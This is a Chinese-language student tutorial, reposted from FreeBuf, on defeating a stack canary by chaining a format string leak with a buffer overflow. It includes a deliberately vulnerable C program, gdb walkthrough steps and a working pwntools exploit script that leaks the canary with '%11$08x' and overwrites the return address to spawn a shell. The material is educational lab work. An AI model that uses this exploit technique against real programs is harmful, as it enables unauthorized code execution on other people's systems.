配合格式化字符串漏洞繞過canary保護機制

本文作者:wwwhxy,轉載來自FreeBuf.COM

0x01 起

(這只是一次小白的隨筆記錄,有些操作不太成熟,歡迎各位看官指出交流)

我們知道,緩衝區溢出漏洞利用的關鍵處就是溢出時,覆蓋棧上保存的函數返回地址來達到攻擊效果。於是就有人就設計出了很多保護機制:Canary、PIE、NX等。本文討論的就是若程序只開啟了canary保護機制,我們該怎麼應對?該機制是在剛進入函數的時候,在棧底放一個標誌位canary(又名金絲雀):

配合格式化字符串漏洞繞過canary保護機制

當緩衝區被溢出時,在返回地址被覆蓋之前, canary會首先被覆蓋。當函數結束時會檢查這個棧上 canary的值是否和存進去的值一致,就可以判斷程序是否發生了溢出等攻擊,緊接著程序將執行___stack_chk_fail函數,繼而終止程序。

(為了防止發生信息洩露以及其他漏洞的利用 canary使用\x00對值進行截斷,即canary的最低字節為00)

因此,我們繞過這種保護機制的方法,就是怎樣使前後的canary判斷正確。

一般canary有兩種利用方式

1.爆破canary

(大致瞭解了一下)

配合格式化字符串漏洞繞過canary保護機制

2.如果程序存在字符串格式化溢出漏洞,我們就可以輸出canary並利用溢出覆蓋canary從而達到繞過。

這裡我們講解第二種方式。

0x02 承

不過在講解之前,我們先來學習一下格式化字符串漏洞?

相信很多人都學過C語言吧!而C語言最普通的卻必不可少的就是printf()函數了!也許大多數人以前幾乎沒有怎麼關注過這個函數,那麼今天就重新刷新對它的認知。

printf在C語言中一般是這種寫法:

printf(“%d”,a); //輸出數a的十進制格式

其中雙引號裡面是a的輸出格式要求,常見的還有:

%d - 十進制 - 輸出十進制整數

%s - 字符串 - 從內存中讀取字符串

%x - 十六進制 - 輸出十六進制數

%c - 字符 - 輸出字符

%p - 指針 - 指針地址

%n - 到目前為止所寫的字符數

其中:

配合格式化字符串漏洞繞過canary保護機制

此外,我們更沒有見過:

例:

%k$x表示訪問第k個參數,並且把它以十六進制輸出

%k$d表示訪問第k個參數,並且把它以十進制輸出

……

平時的程序是這樣:

配合格式化字符串漏洞繞過canary保護機制

但是如果程序員一不小心這樣寫呢?

配合格式化字符串漏洞繞過canary保護機制

哈哈,似乎輸出結果沒什麼區別!別急,因為你不知道的是:

實際上,printf允許參數的個數並不固定,其中上面雙引號為第一個參數:格式化字符串,後面的參數在實際運行時將與格式化字符串中特定格式的子字符串進行一一對應,將格式化字符串中的特定子串,解析為相應的參數值。

此處我們只是單獨地打印一個字符串hello_world,如果我們用戶輸入的是一個格式化字符format(如%s、%d、%k$x),那麼printf就會讀取棧上的“數據”,至於這個數據是什麼?(我也不知道)請看後文:

再來:

配合格式化字符串漏洞繞過canary保護機制

配合格式化字符串漏洞繞過canary保護機制

配合格式化字符串漏洞繞過canary保護機制

此時:

配合格式化字符串漏洞繞過canary保護機制

main+15處,我們往上翻翻:

配合格式化字符串漏洞繞過canary保護機制

而接下來的操作就是一直n操作到將printf參數入棧:

配合格式化字符串漏洞繞過canary保護機制

即:

彙編源碼主體是:

<code>   

0x8049189

push

2

0x804918b

push

1

0x804918d

lea

edx,

[eax

-

0x1ff3

]

0x8049193

push

edx

0x8049194

mov

ebx,

eax

0x8049196

call

printf@plt

<0x8049030>

/<code>

棧內容是:

<code>

00

:0000│

esp

0xffffd260

—▸

0x804a00d

◂—

and

eax,

0x64252064

/*

'%d %d %d %d %s'

*/01:0004│

0xffffd264

◂—

0x102

:0008│

0xffffd268

◂—

0x203

:000c│

0xffffd26c

◂—

0x304

:0010│

0xffffd270

◂—

0x1005

:0014│

0xffffd274

—▸

0x804a008

◂—

je

0x804a06f

/*

'test'

*/06:0018│

0xffffd278

—▸

0xffffd33c

—▸

0xffffd4e9

◂—

'SHELL=/bin/bash'

07

:001c│

0xffffd27c

—▸

0x8049176

(main+20)

◂—

add

eax,

0x2e8a

/<code>
配合格式化字符串漏洞繞過canary保護機制

這個時候我們又對源文件做一點改變:

配合格式化字符串漏洞繞過canary保護機制

重複以上步驟:

gcc -m32 -z execstack -fno-stack-protector -no-pie -o test test.c

配合格式化字符串漏洞繞過canary保護機制

輸入r:

配合格式化字符串漏洞繞過canary保護機制

上述C語言程序中,我們只給了五個參數:1,2,3,16,test,但是我們給的格式字符串有7個。於是,printf函數按照格式打印了七個數據,但是多出來-11460以及134517110不是我們輸入的,而是保存在棧中的另外兩個數據。通過這個特性,就有了格式化字符串漏洞。

至此,格式化漏洞差不多講明白了吧!

補充:vc6.0++可能不支持這樣格式溢出,如:

配合格式化字符串漏洞繞過canary保護機制

但是在linux裡面就可以打印出

7th:70,4th:0040

0x03 轉

現在我們正式進入今天的主題:

待試驗程序:

配合格式化字符串漏洞繞過canary保護機制

<code>#includevoid exploit(){    system(

"/bin/sh"

);}void

func

()

{ char str[

16

]; read(

0

, str,

64

); printf(str); read(

0

, str,

64

);}

int

main(){

func

()

;

return

0;}

/<code>
<code>

gcc

-no-pie

-fstack-protector

-m32

-o

5

.exe

5

.cchecksec

5

.exe

/<code>
配合格式化字符串漏洞繞過canary保護機制

<code>

gdb

5

.exe

i

bb

funci

bstart

/<code>
配合格式化字符串漏洞繞過canary保護機制

然後一直輸入n,直到遇見func函數:

配合格式化字符串漏洞繞過canary保護機制

往上翻:

配合格式化字符串漏洞繞過canary保護機制

再n:

配合格式化字符串漏洞繞過canary保護機制

看見上面重點沒?這就是今天的一個關鍵!(gs是一個段寄存器)

紅框的意思是,從gs寄存器中取出一個4字節(eax)的值存到棧上。

我們可以直接輸入canary:

配合格式化字符串漏洞繞過canary保護機制

這個時候我第一眼觀察的就是我們前面所提到的:

canary設計是以“x00”結尾,本意就是為了保證canary可以截斷字符串。洩露棧中canary的思路是覆蓋canary的低字節,來打印出剩餘的canary部分。

堆棧中的canary:

配合格式化字符串漏洞繞過canary保護機制

繼續n,直到read函數調用:

配合格式化字符串漏洞繞過canary保護機制

再次查看棧(這個時候棧顯示不完整,輸入stack 20):

配合格式化字符串漏洞繞過canary保護機制

此時該canary所在位置離棧頂esp的偏移量為0x2c:

配合格式化字符串漏洞繞過canary保護機制

即(4個字節一組)11組。這個11很重要!等會我們就要用printf函數輸出這個位置的canary。

往上翻:

配合格式化字符串漏洞繞過canary保護機制

輸入n:

配合格式化字符串漏洞繞過canary保護機制

此時程序運行要求我們輸入

配合格式化字符串漏洞繞過canary保護機制

這個時候我們就用上面所學的冷門格式化字符串%11$8x(代表輸出):

配合格式化字符串漏洞繞過canary保護機制

這個時候再n:

配合格式化字符串漏洞繞過canary保護機制

(由於上次時間問題,沒有做完!今天繼續做筆記。因為每次編譯運行canary的值是隨意分配的,所以以下canary的值在昨天同樣的操作步驟下,已經變了,不過!不影響!)

配合格式化字符串漏洞繞過canary保護機制

當函數結束時會檢查這個棧上的值是否和存進去的值一致。

這個時候我們繼續n,就會遇到第2個read函數,要求我們輸入:

配合格式化字符串漏洞繞過canary保護機制

(看了這麼久,估計源程序已經忘了!)

即:

配合格式化字符串漏洞繞過canary保護機制

經過上面的分析,我們已經知道第一個read函數的設置是為了打印出金絲雀的值,那麼第二個read函數呢?

第二個函數就是我們精心構造的payload了!此時的payload就要保證在溢出攻擊getshell的同時,就需要利用我們已經得到的canary值了!那麼怎麼利用已經得到的canary的值來得到payload呢?

這時我們可以使用python腳本進行第一次輸入洩露canary後,在進行第二次輸入的時候,在payload中將canary的位置填充成剛剛洩露出來的值即可。

找出exploit函數的入口地址!同樣作為payload的一部分來getshell:

配合格式化字符串漏洞繞過canary保護機制

腳本python:

配合格式化字符串漏洞繞過canary保護機制

<code>

from

pwn

import

*p=process(

"./5.exe"

)p.sendline(

"%11$08x"

)canary=p.recv()[:

8

]

print

(canary)canary=canary.decode(

"hex"

)[::

-1

]coffset=

4

*

4

roffset=

3

*

4

raddr=p32(

0x8049192

)payload=coffset*

'a'

+canary+roffset*

'a'

+raddrp.sendline(payload)p.interactive()/<code>

嗯!對於這段payload構造理解起來可能是本篇最困難的地方……

先運行一下能否成功吧:

配合格式化字符串漏洞繞過canary保護機制

重新運行,我們可以看見canary的值又變了:a03dd300,並且成功getshell!

那麼我就根據payload來倒推怎麼溢出?

配合格式化字符串漏洞繞過canary保護機制

回到剛剛我們的第二個read函數輸入的地方:

配合格式化字符串漏洞繞過canary保護機制

配合格式化字符串漏洞繞過canary保護機制

兩個橢圓形代表的就是填充的a:

coffset=4*4

roffset=3*4

至此!payload構造成功並getshell!

0x04 合

在兩天的努力下,終於完稿了。期間遇到很多問題,但是帶著問題去解決問題收到了不錯的成效。綜合簡單利用格式化字符串漏洞來繞過程序的canary是平時經常遇到的問題,只有詳細瞭解格式化字符串漏洞和canary保護機制的原理,並且多看多想多練,這樣才能在再次遇到相似的情況下不至於茫然。最後真心感謝老師的悉心指導、同學的真誠幫助。

參考鏈接:

https://veritas501.space/2017/04/28/%E8%AE%BAcanary%E7%9A%84%E5%87%A0%E7%A7%8D%E7%8E%A9%E6%B3%95/

https://bbs.pediy.com/thread-253638.htm

https://www.jianshu.com/p/3d390a321cb8

https://www.cnblogs.com/elvirangel/p/7191512.html

https://bbs.pediy.com/thread-250858.htm

https://www.anquanke.com/post/id/177832



分享到:


相關文章: